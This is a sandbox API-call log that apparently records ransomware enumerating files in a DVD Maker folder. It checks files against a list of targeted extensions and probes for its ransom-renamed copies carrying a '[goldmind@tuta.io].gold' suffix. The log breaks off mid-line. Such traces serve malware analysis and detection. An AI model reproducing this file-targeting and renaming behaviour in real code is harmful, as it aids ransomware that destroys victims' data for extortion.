GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.409] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.409] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.409] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.409] lstrlenW (lpString=".doc") returned 4 [0044.409] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.409] lstrlenW (lpString=".docx") returned 5 [0044.409] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0044.409] lstrlenW (lpString=".pdf") returned 4 [0044.409] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.410] lstrlenW (lpString=".xls") returned 4 [0044.410] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.410] lstrlenW (lpString=".xlsx") returned 5 [0044.410] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0044.410] lstrlenW (lpString=".ppt") returned 4 [0044.410] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.410] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.410] lstrlenW (lpString=".zip") returned 4 [0044.410] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.410] lstrlenW (lpString=".rar") returned 4 [0044.410] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.410] lstrlenW (lpString=".bz2") returned 4 [0044.410] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.410] lstrlenW (lpString=".7z") returned 3 [0044.410] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.410] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.410] lstrlenW (lpString=".dbf") returned 4 [0044.410] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.410] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.410] lstrlenW (lpString=".1cd") returned 4 [0044.410] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.410] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.410] lstrlenW (lpString=".jpg") returned 4 [0044.410] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.410] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.410] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.410] lstrlenW (lpString=".doc") returned 4 [0044.410] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.410] lstrlenW (lpString=".docx") returned 5 [0044.410] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0044.410] lstrlenW (lpString=".pdf") returned 4 [0044.410] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.410] lstrlenW (lpString=".xls") returned 4 [0044.410] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.410] lstrlenW (lpString=".xlsx") returned 5 [0044.410] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0044.410] lstrlenW (lpString=".ppt") returned 4 [0044.410] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.410] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.410] lstrlenW (lpString=".zip") returned 4 [0044.410] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.410] lstrlenW (lpString=".rar") returned 4 [0044.410] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.410] lstrlenW (lpString=".bz2") returned 4 [0044.410] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.410] lstrlenW (lpString=".7z") returned 3 [0044.411] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.411] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.411] lstrlenW (lpString=".dbf") returned 4 [0044.411] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.411] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.411] lstrlenW (lpString=".1cd") returned 4 [0044.411] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.411] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png") returned 76 [0044.411] lstrlenW (lpString=".jpg") returned 4 [0044.411] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.411] lstrcmpiW (lpString1=".wmv", lpString2=".gold") returned 1 [0044.411] lstrlenW (lpString="title_trans_scene.wmv") returned 21 [0044.411] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.422] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=629220) returned 1 [0044.422] CloseHandle (hObject=0x210) returned 1 [0044.422] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv")) returned 0x20 [0044.422] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.422] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.423] lstrlenW (lpString=".doc") returned 4 [0044.423] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0044.423] lstrlenW (lpString=".docx") returned 5 [0044.423] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1 [0044.423] lstrlenW (lpString=".pdf") returned 4 [0044.423] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0044.423] lstrlenW (lpString=".xls") returned 4 [0044.423] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0044.423] lstrlenW (lpString=".xlsx") returned 5 [0044.423] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1 [0044.423] lstrlenW (lpString=".ppt") returned 4 [0044.423] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0044.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.423] lstrlenW (lpString=".zip") returned 4 [0044.423] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0044.423] lstrlenW (lpString=".rar") returned 4 [0044.423] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0044.423] lstrlenW (lpString=".bz2") returned 4 [0044.423] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0044.423] lstrlenW (lpString=".7z") returned 3 [0044.423] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0044.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.423] lstrlenW (lpString=".dbf") returned 4 [0044.423] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0044.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.423] lstrlenW (lpString=".1cd") returned 4 [0044.423] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0044.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.423] lstrlenW (lpString=".jpg") returned 4 [0044.423] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0044.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.423] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.423] lstrlenW (lpString=".doc") returned 4 [0044.423] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0044.423] lstrlenW (lpString=".docx") returned 5 [0044.423] lstrcmpiW (lpString1=".docx", lpString2="e.wmv") returned -1 [0044.424] lstrlenW (lpString=".pdf") returned 4 [0044.424] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0044.424] lstrlenW (lpString=".xls") returned 4 [0044.424] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0044.424] lstrlenW (lpString=".xlsx") returned 5 [0044.424] lstrcmpiW (lpString1=".xlsx", lpString2="e.wmv") returned -1 [0044.424] lstrlenW (lpString=".ppt") returned 4 [0044.424] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0044.424] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.424] lstrlenW (lpString=".zip") returned 4 [0044.424] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0044.424] lstrlenW (lpString=".rar") returned 4 [0044.424] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0044.424] lstrlenW (lpString=".bz2") returned 4 [0044.424] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0044.424] lstrlenW (lpString=".7z") returned 3 [0044.424] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0044.424] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.424] lstrlenW (lpString=".dbf") returned 4 [0044.424] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0044.424] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.424] lstrlenW (lpString=".1cd") returned 4 [0044.424] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0044.424] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv") returned 77 [0044.424] lstrlenW (lpString=".jpg") returned 4 [0044.424] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0044.424] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0044.424] lstrlenW (lpString="userContent_16x9_imagemask.png") returned 30 [0044.424] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.424] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=6716) returned 1 [0044.424] CloseHandle (hObject=0x210) returned 1 [0044.424] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png")) returned 0x20 [0044.424] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.424] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.425] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.425] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.425] lstrlenW (lpString=".doc") returned 4 [0044.425] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.425] lstrlenW (lpString=".docx") returned 5 [0044.425] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0044.425] lstrlenW (lpString=".pdf") returned 4 [0044.425] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.425] lstrlenW (lpString=".xls") returned 4 [0044.425] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.425] lstrlenW (lpString=".xlsx") returned 5 [0044.425] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0044.425] lstrlenW (lpString=".ppt") returned 4 [0044.425] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.425] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.425] lstrlenW (lpString=".zip") returned 4 [0044.425] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.425] lstrlenW (lpString=".rar") returned 4 [0044.425] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.425] lstrlenW (lpString=".bz2") returned 4 [0044.425] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.425] lstrlenW (lpString=".7z") returned 3 [0044.425] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.425] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.425] lstrlenW (lpString=".dbf") returned 4 [0044.425] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.425] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.425] lstrlenW (lpString=".1cd") returned 4 [0044.425] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.425] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.425] lstrlenW (lpString=".jpg") returned 4 [0044.425] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.425] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.425] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.425] lstrlenW (lpString=".doc") returned 4 [0044.425] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.425] lstrlenW (lpString=".docx") returned 5 [0044.425] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0044.425] lstrlenW (lpString=".pdf") returned 4 [0044.425] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.425] lstrlenW (lpString=".xls") returned 4 [0044.425] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.425] lstrlenW (lpString=".xlsx") returned 5 [0044.425] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0044.425] lstrlenW (lpString=".ppt") returned 4 [0044.425] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.425] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.425] lstrlenW (lpString=".zip") returned 4 [0044.425] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.425] lstrlenW (lpString=".rar") returned 4 [0044.425] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.426] lstrlenW (lpString=".bz2") returned 4 [0044.426] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.426] lstrlenW (lpString=".7z") returned 3 [0044.426] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.426] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.426] lstrlenW (lpString=".dbf") returned 4 [0044.426] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.426] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.426] lstrlenW (lpString=".1cd") returned 4 [0044.426] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.426] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png") returned 86 [0044.426] lstrlenW (lpString=".jpg") returned 4 [0044.426] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.426] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0044.426] lstrlenW (lpString="whitemenu.png") returned 13 [0044.426] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.426] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=12008) returned 1 [0044.426] CloseHandle (hObject=0x210) returned 1 [0044.426] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png")) returned 0x20 [0044.426] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.426] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.426] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.426] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.426] lstrlenW (lpString=".doc") returned 4 [0044.426] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.426] lstrlenW (lpString=".docx") returned 5 [0044.426] lstrcmpiW (lpString1=".docx", lpString2="u.png") returned -1 [0044.426] lstrlenW (lpString=".pdf") returned 4 [0044.426] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.426] lstrlenW (lpString=".xls") returned 4 [0044.426] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.427] lstrlenW (lpString=".xlsx") returned 5 [0044.427] lstrcmpiW (lpString1=".xlsx", lpString2="u.png") returned -1 [0044.427] lstrlenW (lpString=".ppt") returned 4 [0044.427] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.427] lstrlenW (lpString=".zip") returned 4 [0044.427] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.427] lstrlenW (lpString=".rar") returned 4 [0044.427] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.427] lstrlenW (lpString=".bz2") returned 4 [0044.427] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.427] lstrlenW (lpString=".7z") returned 3 [0044.427] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.427] lstrlenW (lpString=".dbf") returned 4 [0044.427] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.427] lstrlenW (lpString=".1cd") returned 4 [0044.427] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.427] lstrlenW (lpString=".jpg") returned 4 [0044.427] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.427] lstrlenW (lpString=".doc") returned 4 [0044.427] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0044.427] lstrlenW (lpString=".docx") returned 5 [0044.427] lstrcmpiW (lpString1=".docx", lpString2="u.png") returned -1 [0044.427] lstrlenW (lpString=".pdf") returned 4 [0044.427] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0044.427] lstrlenW (lpString=".xls") returned 4 [0044.427] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0044.427] lstrlenW (lpString=".xlsx") returned 5 [0044.427] lstrcmpiW (lpString1=".xlsx", lpString2="u.png") returned -1 [0044.427] lstrlenW (lpString=".ppt") returned 4 [0044.427] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0044.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.427] lstrlenW (lpString=".zip") returned 4 [0044.427] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0044.427] lstrlenW (lpString=".rar") returned 4 [0044.427] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0044.427] lstrlenW (lpString=".bz2") returned 4 [0044.427] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0044.427] lstrlenW (lpString=".7z") returned 3 [0044.427] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0044.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.427] lstrlenW (lpString=".dbf") returned 4 [0044.427] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0044.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.427] lstrlenW (lpString=".1cd") returned 4 [0044.427] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0044.427] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png") returned 69 [0044.427] lstrlenW (lpString=".jpg") returned 4 [0044.427] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0044.428] lstrcmpiW (lpString1=".wmv", lpString2=".gold") returned 1 [0044.428] lstrlenW (lpString="Notes_INTRO_BG.wmv") returned 18 [0044.428] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.428] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=237226) returned 1 [0044.428] CloseHandle (hObject=0x210) returned 1 [0044.428] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv")) returned 0x20 [0044.428] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.428] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.429] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.429] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.429] lstrlenW (lpString=".doc") returned 4 [0044.429] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString=".docx") returned 5 [0044.429] lstrcmpiW (lpString1=".docx", lpString2="G.wmv") returned -1 [0044.429] lstrlenW (lpString=".pdf") returned 4 [0044.429] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString=".xls") returned 4 [0044.429] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0044.429] lstrlenW (lpString=".xlsx") returned 5 [0044.429] lstrcmpiW (lpString1=".xlsx", lpString2="G.wmv") returned -1 [0044.429] lstrlenW (lpString=".ppt") returned 4 [0044.429] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0044.429] lstrlenW (lpString=".zip") returned 4 [0044.429] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0044.429] lstrlenW (lpString=".rar") returned 4 [0044.429] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString=".bz2") returned 4 [0044.429] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0044.429] lstrlenW (lpString=".7z") returned 3 [0044.429] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0044.429] lstrlenW (lpString="C:\\Program Files\\DVD 